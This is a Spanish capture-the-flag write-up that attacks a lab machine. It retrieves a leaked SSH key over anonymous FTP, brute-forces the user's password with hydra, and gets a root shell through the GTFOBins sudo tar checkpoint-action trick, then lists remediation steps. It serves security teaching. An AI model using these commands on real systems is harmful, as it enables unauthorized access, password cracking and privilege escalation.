# GhostLabs — FTP ANONYMOUS :: Write-up

> ⚠️ SPOILER — Lee esto solo después de intentar resolver el lab.

---

## Información del lab

| Campo       | Valor                                        |
|-------------|----------------------------------------------|
| Dificultad  | Difícil (4 pts)                              |
| Servicios   | FTP (21) · SSH (2222)                        |
| Usuario SSH | peter (autenticación por clave)              |
| Sudo        | peter puede usar /usr/bin/tar con contraseña |
| Password    | parker                                       |

---

## Flujo de ataque

```
nmap → FTP (21) + SSH (2222)
  ↓
FTP anónimo → descargar id_rsa + README.txt
  ↓
ssh -i id_rsa peter@<IP> -p 2222
  ↓
sudo -l → puede usar /usr/bin/tar con contraseña
  ↓
su / sudo con "parker" → tar GTFOBins → root → flag.txt
```

---

## Paso 1 — Reconocimiento

```bash
nmap -sV -p- --min-rate 5000 <LAB_IP>
```

Descubrimos FTP en el puerto 21 y SSH en el 2222.

---

## Paso 2 — FTP anónimo

```bash
ftp <LAB_IP>
# Usuario: anonymous
# Password: (enter vacío)

ftp> ls
ftp> cd pub
ftp> ls
# README.txt  id_rsa

ftp> get README.txt
ftp> get id_rsa
ftp> bye
```

Leemos el README:

```
Backup de clave SSH del usuario peter.
```

Sabemos el usuario: **peter**. Tenemos su clave privada.

---

## Paso 3 — Acceso SSH con clave privada

```bash
chmod 600 id_rsa
ssh -i id_rsa peter@<LAB_IP> -p 2222
```

Tenemos shell como **peter**.

---

## Paso 4 — Enumeración de sudo

```bash
sudo -l
```

```
User peter may run the following commands on ghostlabs-anonymous:
    (root) /bin/tar
```

Peter puede ejecutar `tar` como root pero necesita su contraseña. El servicio SSH tiene autenticación por contraseña habilitada, lo que permite un ataque de fuerza bruta con hydra.

> ⚠️ En hydra, `-p` (minúscula) significa "una sola contraseña", no "puerto". El puerto se especifica dentro de la URL: `ssh://host:puerto`

```bash
# Desde Kali, fuerza bruta vía SSH
hydra -l peter -P /usr/share/wordlists/rockyou.txt \
      ssh://<LAB_IP>:2222 -t 4
```

Contraseña encontrada: **parker**

---

## Paso 5 — Escalada a root con sudo tar

### Cómo encontrar el exploit en GTFOBins

En [GTFOBins — tar](https://gtfobins.github.io/gtfobins/tar/) buscamos la sección **Shell → pestaña Sudo**. El comando que muestra es:

```
tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

![GTFOBins - tar Shell Sudo](../t2.png)

### El comando adaptado a nuestro caso

```bash
sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 \
    --checkpoint-action=exec=/bin/sh
```

### ¿Por qué difiere del comando de GTFOBins?

| GTFOBins | Nuestro comando | Por qué |
|----------|-----------------|---------|
| `tar` | `sudo /bin/tar` | Necesitamos ejecutar como root vía sudo. La ruta completa `/bin/tar` debe coincidir exactamente con la entrada de sudoers — si escribes solo `tar` puede resolverse a otra ruta y ser denegado |
| `cf` | `-cf` | Son **equivalentes**. GNU tar acepta las opciones en formato POSIX tradicional (`cf`, sin guión) y en formato GNU (`-cf`, con guión). GTFOBins usa el estilo tradicional; ambos funcionan igual |

### Por qué funciona — desglose del comando

| Fragmento | Explicación |
|-----------|-------------|
| `sudo /bin/tar` | Ejecuta tar como root gracias a la regla de sudoers |
| `-cf /dev/null /dev/null` | Crea un archivo tar vacío en `/dev/null` — solo es necesario para que tar arranque; el fichero resultante se descarta |
| `--checkpoint=1` | Activa un checkpoint después de procesar cada 1 registro |
| `--checkpoint-action=exec=/bin/sh` | En cada checkpoint ejecuta `/bin/sh` — y como tar corre como root, la shell se abre como root |

Introducimos la contraseña `parker` cuando nos la pida:

```bash
sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 \
    --checkpoint-action=exec=/bin/sh
# [sudo] password for peter: parker

whoami
# root
```

---

## Paso 6 — Flag

```bash
cat /root/flag.txt
# GhostLabs{ftp_an0n_2_ssh_k3y_2_sud0_t4r_0wn3d}
```

---

## Remediación

- Nunca exponer claves SSH privadas en servidores FTP
- Deshabilitar FTP anónimo si no es necesario
- Revisar `/etc/sudoers` — no dar sudo a herramientas como tar, awk, less, etc.
- Usar `visudo` y aplicar el principio de mínimo privilegio
- Considerar usar `sudo` solo con comandos muy específicos y sin argumentos peligrosos

---

*GhostLabs — red team operations :: offensive security*
*www.unfantasmaenelsistema.com*
